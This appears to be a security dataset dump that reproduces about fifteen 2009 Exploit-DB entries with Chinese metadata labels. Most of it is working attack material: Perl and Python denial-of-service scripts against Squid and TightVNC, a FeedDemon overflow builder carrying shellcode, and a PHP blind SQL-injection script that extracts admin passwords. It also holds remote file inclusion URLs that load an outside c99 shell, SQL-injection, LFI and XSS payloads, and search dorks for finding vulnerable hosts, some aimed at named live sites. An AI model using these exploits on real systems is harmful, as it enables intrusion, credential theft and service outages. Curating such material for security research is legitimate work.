QLWD/code_shield huggingface dataset:
标题: Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service EDB-ID: 8021 CVE: 2009-0478 类型: DOS 平台: MULTIPLE 发布日期: 2009-02-09 漏洞利用脚本: #!usr/bin/perl -w

########################################################################################
#
#    Reference:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0478
#     https://www.securityfocus.com/bid/33604/discuss
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#         Visit:        http://www.evilfingers.com/
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com\
#        Blog:      http://www.darshanams.blogspot.com/
#        Date:      09th February, 2009
#
############Special thanx2 Joshua Morin, Mikko Varpiola, and Jukka Taimisto ############
########################################################################################
######Thanx to str0ke,milw0rm, @rp m@n,security folks and all INDIAN H@CKER$############
########################################################################################


use IO::Socket;

print("\nEnter IP Address of Vulnerable Server: \n");
$vuln_server_ip = <STDIN>;
chomp($vuln_server_ip);

@malicious_version=("9.9","%.%","%%","#.#","\$.\$","*.*","975.975","10000999");

foreach $mal (@malicious_version)
{
   $sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_server_ip,
                                     PeerPort => 80,
                                     Proto    => 'tcp') || "Unable to connect to HTTP Server";

   $http_attack = "GET / HTTP/$mal\r\n".
   "Host: $vuln_server_ip\r\n".
   "Keep-Alive: 300\r\n".
   "Connection: keep-alive\r\n\r\n";

   print $sock_http $http_attack;
   sleep(3);

   close($sock_http);
}

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8021
标题: SnippetMaster Webpage Editor 2.2.2 - Remote File Inclusion / Cross-Site Scripting EDB-ID: 8017 CVE: 2009-0530 2009-0529 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: # SnippetMaster Webpage Editor 2,2,2 Multiple Vulnes ( Remote File Include , Remote XSS )

# Free Download : http://www.snippetmaster.com/download/manual-install.php

# Download Dezender Script :  http://www.mediafire.com/?jv3gz1zwjxm

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/snippetmaster/index.php

By POST method In Option language Inject By This Code :

<script>alert(413156995734)</script>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8017
标题: FlexCMS 2.5 - 'catId' SQL Injection EDB-ID: 8018 CVE: 2009-1256 2009-0534 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: AUTHOR: MisterRichard

FlexCMS Remote SQL Injection

Discovered by MisterRichard.

Developer site: http://www.flexcms.dk/

Developer has not been notified.

Live demo:

Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

http://www.radikalungdom.dk/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

Admin login site:

http://target.com/flexadmin/

Greetz, agonx, kollek, cardingnu

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8018
标题: WB News 2.1.1 - config[installdir] Remote File Inclusion EDB-ID: 8026 CVE: 2009-0294 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: -----------------:Remote File Include:-----------------
-------------------------------------------------------
script:wb news v2.1.1
    
------------------------------------------------------------------
download from:http://www.webmobo.com/downloads/
   
------------------------------------------------------------------

.......................................................
vul: /admin/global.php line 32;

  
require_once( $config["installdir"] . "/includes/constants.php" );

------------------------------------------------------
-----------------------------------------------------

xpl:

http://127.0.0.1/admin/global.php?config[installdir]=shell.txt?

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8026
标题: TightVNC - Authentication Failure Integer Overflow (PoC) EDB-ID: 8024 CVE: 2009-0388 类型: DOS 平台: WINDOWS 发布日期: 2009-02-09 漏洞利用脚本: #!/usr/bin/env python

#digital.desi@in.com

# Modified  Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
  clientsocket, clientaddres = serversocket.accept()
  
  data = 'RFB 003.008\n'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)
  print data_cli

  data = '\x02\x02\x10'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)

  data = '\x00'*4
  clientsocket.sendall(data)

  data = ('\x00'*3)+'\x01'
  clientsocket.sendall(data)

  data = ('\x00'*3)+'\x02STDVVNCAUTH_'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)

  data = ('\x01'*16)
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)
  
  data = '\x00\x00\x00\x01'
  clientsocket.sendall(data)

  data = '\xf0\xff\xff\xff'
  clientsocket.sendall(data)

  data = 'A'*10000
  clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8024
标题: A Better Member-Based ASP Photo Gallery - 'entry' SQL Injection EDB-ID: 8012 CVE: 2009-0531 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: Script:A Better Member-Based ASP Photo Gallery
Download:
http://www.ontarioabandonedplaces.com/ipguardian/ABetterMemberBasedASPPhotoGallery.zip
Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery
Exploit:www.target.com/scriptpath/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
Dork:intitle:"A Better ASP User Gallery"
Live Demo:
www.ontarioabandonedplaces.com/ipguardian/gallery/view.asp?entry=-1+union+select+0,title,2,creator,Longitude,5,pics+from+photos
BackDoordan Sevgilerle Thanks All Cyber-Warrior User : )
BackDoor Cyber-Warrior.Org - AkÄ±ncÄ±lar - Lojistik

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8012
标题: feedDemon 2.7 - OPML Outline Tag Buffer Overflow EDB-ID: 8010 CVE: 2009-0546 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-09 漏洞利用脚本: #!/usr/local/bin/perl
#-----------------------------------------------------------------------------
# FeedDemon version 2.7.0.0 Buffer overFlow
# Reference:
# http://security.bkis.vn/?p=329
# https://www.securityfocus.com/bid/33630/info
# http://secunia.com/advisories/33718/
# Tested in Windows XP Sp2 (English)
# Created by cenjan (xcenjanx@yahoo.com)
# Description:   + This code generates a opml file (feeddemonexploit.opml)
#                 + Import that file by the Import Feed function of Feed Demon
#                 + The calc.exe will execute
#-----------------------------------------------------------------------------
my $head='<opml version="1.1"><body><outline text="';
my $overflow = "\x90" x 8006;

# Shellcode by Metasploit
my $devil=
"\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xEC".
"\x2D\x36\x5E\x83\xEB\xFC\xE2\xF4\x10\xC5\x72\x5E\xEC\x2D\xBD".
"\x1B\xD0\xA6\x4A\x5B\x94\x2C\xD9\xD5\xA3\x35\xBD\x1\xCC\x2C".
"\xDD\x17\x67\x19\xBD\x5F\x2\x1C\xF6\xC7\x40\xA9\xF6\x2A\xEB".
"\xEC\xFC\x53\xED\xEF\xDD\xAA\xD7\x79\x12\x5A\x99\xC8\xBD\x1".
"\xC8\x2C\xDD\x38\x67\x21\x7D\xD5\xB3\x31\x37\xB5\x67\x31\xBD".
"\x5F\x7\xA4\x6A\x7A\xE8\xEE\x7\x9E\x88\xA6\x76\x6E\x69\xED".
"\x4E\x52\x67\x6D\x3A\xD5\x9C\x31\x9B\xD5\x84\x25\xDD\x57\x67".
"\xAD\x86\x5E\xEC\x2D\xBD\x36\xD0\x72\x7\xA8\x8C\x7B\xBF\xA6".
"\x6F\xED\x4D\xE\x84\xDD\xBC\x5A\xB3\x45\xAE\xA0\x66\x23\x61".
"\xA1\xB\x4E\x57\x32\x8F\x2D\x36\x5E\x90\x90\x90\x90\x90\x90".
"\x90\x90\xED\x1E\x94\x7C\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD".
"\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";

my $tail='"><outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/></outline></body></opml>';
open (f,'>feeddemonexploit.opml');
print f "\xff\xfe";
close(f);

open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
print f $head;
close(f);

open (f,'>>feeddemonexploit.opml');
print f $overflow;
print f $devil;
close(f);

open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
print f $tail;
close (f);
print "Create exploit file successfully!";

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8010
标题: phpYabs 0.1.2 - 'Azione' Remote File Inclusion EDB-ID: 8005 CVE: 2009-0639 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-06 漏洞利用脚本: ********************************************************************************
                                             phpyabs 0.1.2 RFI Vulnerability

********************************************************************************
FOUND BY: Arka69
BUG: Remote File Include (RFI)
CMS: phpyabs 0.1.2
SITE: http://exploita.altervista.org
********************************************************************************

VULNERABLE CODE: (phpyabs/moduli/libri/index.php)

  include($_GET['Azione'].".php");

********************************************************************************
RFI:

http://victim.com/phpyabs/moduli/libri/index.php?Azione=[SHELL]

# milw0rm.com [2009-02-06] URL: https://www.exploit-db.com/exploits/8005
标题: Netgear SSL312 Router - Denial of Service EDB-ID: 8008 CVE: 2009-0680 类型: DOS 平台: HARDWARE 发布日期: 2009-02-09 漏洞利用脚本: _   _ _____ _     ___ _____ _   _
                   / / / / ____/ /   /  _/_  __/ / / /
                  / /_/ / __/ / /    / /  / / / /_/ /
                 / __  / /___/ /____/ /  / / / __  /
                /_/ /_/_____/_____/___/ /_/ /_/ /_/
                           Helith - 0815
--------------------------------------------------------------------------------

Author   : Rembrandt
Date   : 2008-02-27
Affected Software: propietary CGI
Affected OS  : Netgear embedded Linux for the SSL312 router
     Propably other devices are affected as well
Type   : Denial of Service

OSVDB   : 
Milw0rm   : 8008
CVE   : 
ISS X-Force:  : 
BID   : 33675


Trying to fix it responsible and get in contact with the vendor:

-- ZDI --
Case Opened   2008-12-28 07:57 GMT-6
Case Closed  2009-01-15 17:01 GMT-6

"After some deliberation we have unfortunately decided that we won't be
accepting bugs affecting NetGear products."
-- END --

Contacting Netgear and mitre.org: 2009-02-01 12:25 GTM+1
No reaction, release  : 2009-02-06 23:59 GTM+1

Netgear VPN router SSL312 is proune to a remote DoS condition which can get
triggered if somebody has access to the webinterface of the VPN router.
The problem is related to a propietary CGI binary and makes is impossible
for users to patch the router. Further in detail analyses will show several
other issues like outdated third party software (e.g. the webserver) and further
problems in the cgi-binary itself which won't get disclosed here.

If you download the source code the affected binary can be found at:
./NG_SSL312-GPL/uClinux/uC-src/real/EasyAccess/EasyAccess/www/cgi-bin/single_cgi


Steps to reproduce:

Visit the Netgear SSL312 VPN router webinterface.
You will see a login field and a password field.
Just enter any random data and proceed.

The URL will include a path like:
https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?err=VXNlciBMb2dpbiBGYWlsZWQ=

If you modify the URL as below and resend your http request the device will
crash and needs a hard reboot.

https://xxx.xxx.xxx.xxx/cgi-bin/welcome/VPN_only?../../../../../

Example network affected by this: StudiVZ

Simple google dork:
intitle:SSL-VPN intext:password inurl:/cgi-bin/welcome

Workaround:
Preventing others to gain access to the webinterface of the router prevents
the attack.

Kind regards,
Rembrandt

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8008
标题: Mailist 3.0 - Insecure Backup / Local File Inclusion EDB-ID: 8001 CVE: 2009-0571 2009-0570 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-06 漏洞利用脚本: #############################################################################################
[+] Mailist 3.0 Insecure Backup/Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
[+] www.anti-intruders.org
#############################################################################################

[+] Homepage : http://ninjadesigns.co.uk/

[+] Download : http://ninjadesigns.co.uk/enter/mailist.zip


[+] Insecure Backup

 - Vulnerable code in admin.php


---------------------------------------------------------------------


if (isset($_GET['backup'])){
 echo "<br>";
 $file = 'maillist.php';
 $newfile = 'backups/'.date("jnY").'.txt';
 copy($file, $newfile);
 echo 'Successfully backed up. (backups/'.$newfile.')<br>';
 echo '<a href="'.$_SERVER['PHP_SELF'].'">Hide</a><br>';
}


----------------------------------------------------------------------

 We can see how its crated a backup : $newfile = 'backups/'.date("jnY").'.txt';
 The date() function is used.

    n - Numeric representation of a month, without leading zeros
    j - Day of the month without leading zeros
    Y - A full numeric representation of a year, 4 digits

 So we can guess the database backup if we know when was created.

   Example : 622009.txt

        6 - the day without leading 0
        2 - the month without leading 0
        2009 - the year

   PoC :  http://127.0.0.1/path/backups/622009.txt



[+] Local File Inclusion


 - Vulnerable code in send.php :

---------------------------------------------------------------------

if(isset($load)){

include("outbox/".$load.".txt");
}


---------------------------------------------------------------------

 Example :

   http://127.0.0.1/path/send.php?load=[Local File]%00

 PoC :

    http://127.0.0.1/path/send.php?load=../../../../boot.ini%00



#############################################################################################

# milw0rm.com [2009-02-06] URL: https://www.exploit-db.com/exploits/8001
标题: WikkiTikkiTavi 1.11 - Arbitrary '.PHP' File Upload EDB-ID: 7998 CVE: 2009-0602 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-06 漏洞利用脚本: #############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :WikkiTikkiTavi 

[~]Site     :http://tavi.sourceforge.net
#############################################
[~]http://c4team.org/ [tavi_PATH] /upload.php


[~]http://c4team.org/ [tavi_PATH] img/[ shell.php ]



[~]Demo:



[~]http://skylined.org/change/tavi/upload.php


[~]http://skylined.org/change/tavi/img/albayx.php

#############################################
[~]ÃÃ¾inize BaqÃ½n :=)

[~]Greetz For  

[~]Mrabah12R & Kralman & K3vin Mitnick & web-terrorist & SpotGang & Belarus & Tajik
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------

# milw0rm.com [2009-02-06] URL: https://www.exploit-db.com/exploits/7998
标题: CafeEngine - 'catid' SQL Injection EDB-ID: 8002 CVE: 2009-0574 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-06 漏洞利用脚本: /************************************************************************/
             /*                                                                      */
             /*                            CAFE ENGINE                               */
             /*                                                                      */
             /*                   Remote SQL Injection Vulnerability                 */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/
   
                                                                                 


 [~]AUTHOR          : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]HOME            : http://www.snakespc.com                    

 [~]VERSION         : EASY CAFE ENGINE

 [~]BUY SCRIPT      : http://cafeengine.com/  >>> Price : 10$

 [~]EXPLOIT         : 

                     http://127.0.0.1/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                     
 [~]DEMO WEBSITE    :
                     http://easy.cafeengine.com/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                

                             /////////////////////////////////////////////////////////////////////////////////////
            
                            ////////        Special ThanX : His0k4,& ALL Snakespc.com Members       ////////////
                           ////////             :Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:
                          ////////     ::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::    ////////////
                            
                         ////////////////////////////////////////////////////////////////////////////////////
                                        

                                               -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2009-02-06] URL: https://www.exploit-db.com/exploits/8002
标题: IF-CMS 2.0 - 'id' Blind SQL Injection EDB-ID: 8007 CVE: 2009-0528 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: --+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

<?php

function query ($username, $char, $pos)
{
 //Increase benchmark when exploit prints uncorrect passwords

 $query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
   "nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);
 return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
 $char = ord ($char);
 $fp = fsockopen ($hostname, 80);
 $get =  "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n\r\n";
  $a = time ();
 fputs ($fp, $get);
 while (!feof ($fp))
  fgets ($fp, 1024);

 fclose ($fp);
 $a = time () - $a;
 if ($a > 4)
  return true;
 else
  return false;

}

function usage ()
{
 echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
      "\n[+] Author  : darkjoker".
      "\n[+] Site    : http://darkjoker.net23.net".
      "\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
      "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
      "\n[+] Ex.     : php xpl.php localhost /IF-CMS root".
      "\n\n";
 exit ();
}

if ($argc != 4)
 usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
 if (exploit ($hostname, $path, $user, $key [$chr], $pos))
 {
  echo $key [$chr];
  $chr = 0;
  $pos++;
 }
 else
  $chr++;
}
echo "\n\n";
?>

# milw0rm.com [2009-02-09] URL: https://www.exploit-db.com/exploits/8007
标题: FeedMon 2.7.0.0 - outline Tag Buffer Overflow (PoC) EDB-ID: 7995 CVE: 2009-0546 类型: DOS 平台: WINDOWS 发布日期: 2009-02-05 漏洞利用脚本: #!usr/bin/perl -w

################################################################################
#     Reference:
#        http://security.bkis.vn/?p=329
#        https://www.securityfocus.com/bid/33630/info
#
#    Tested on Windows Server 2003 with FeedMon 2.7.0.0. FeedMon crashes
#    whenever I am trying to Unsubscribe from the malicious(overlylong) feed.
#
#     Thanx to milw0rm, str0ke, security.bkis, @rp m@n, evilfingers
#    and all security researchers.
#
#$$$$$ This was strictly written for educational purpose. Use it at
#$$$$$ your own risk. Author will not bare any responsibility for any
#$$$$$ damages watsoever.
#
#####MOST OF THE CODE I GOT FROM###############################################
#####http://search.cpan.org/~madghoul/XML-OPML-0.26/OPML.pm####################
#
#    Author: Praveen Dar$hanam
#    Visit:
#        http://www.darshanams.blogspot.com/
#        http://www.evilfingers.com/
################################################################################

use XML::OPML;
print "OPML is working fine\n\n";

 my $opml = new XML::OPML(version => "1.1");

 $opml->head(
             title => 'FeedDemon \'outline\' Tag Buffer Overflow Vulnerability PoC',
             dateCreated => 'Thur, 05 Feb 2009 8.55:35:00 IST',
             ownerName => 'Praveen Darshanam',
             ownerEmail => 'praveen_recker@sify.com',
             expansionState => '',
             vertScrollState => '',
             windowTop => '',
             windowLeft => '',
             windowBottom => '',
             windowRight => '',
           );

 $buff="D" x 30000;
 # Malicious buffer which creates overly long text tag

 $opml->add_outline(
                 description => 'Warren Ellis\' Personal Weblog',
                 title => 'Warren Ellis Speaks Clever',
                 text => $buff,
                 type => 'rss',
                 version => 'RSS',
                 htmlUrl => 'http://www.diepunyhumans.com ',
                 xmlUrl => 'http://www.diepunyhumans.com/index.rdf ',
               );

 $opml->add_outline(
                 descriptions => 'The raelity bytes weblog.',
                 title => 'raelity bytes',
                 text => $buff,
                 type => 'rss',
                 version => 'RSS',
                 htmlUrl => 'http://www.raelity.org ',
                 xmlUrl => 'http://www.raelity.org/index.rss10 ',
               );

 $opml->save('malicious_files.opml');

# milw0rm.com [2009-02-05] URL: https://www.exploit-db.com/exploits/7995
标题: Kipper 2.01 - Cross-Site Scripting / Local File Inclusion / File Disclosure EDB-ID: 7993 CVE: 2009-0767 2009-0766 2009-0765 2009-0764 2009-0763 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-05 漏洞利用脚本: # Kipper 2.01 Multiple Vulnes ( Remote Data Reading , Local File Include , Remote XSS )

# Download From : http://www.bookelves.com/kipper/files/kipper20.zip

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote Data Reading :

http://localhost/kipper20/job/config.data

# Exploit [2]:

- Local File Include :

http://localhost/kipper20/index.php?configfile=../../../../boot.ini

# Exploit [3]:

- Remote XSS :

http://localhost/kipper20/default.php?charm=%3E%20%3E%20ScRiPt%20%3EALERT%20529227151633%20%3B%20%2FScRiPt%3E#685828818694793444

# EOF ..

# rXh

# bEST wISHES

# milw0rm.com [2009-02-05] URL: https://www.exploit-db.com/exploits/7993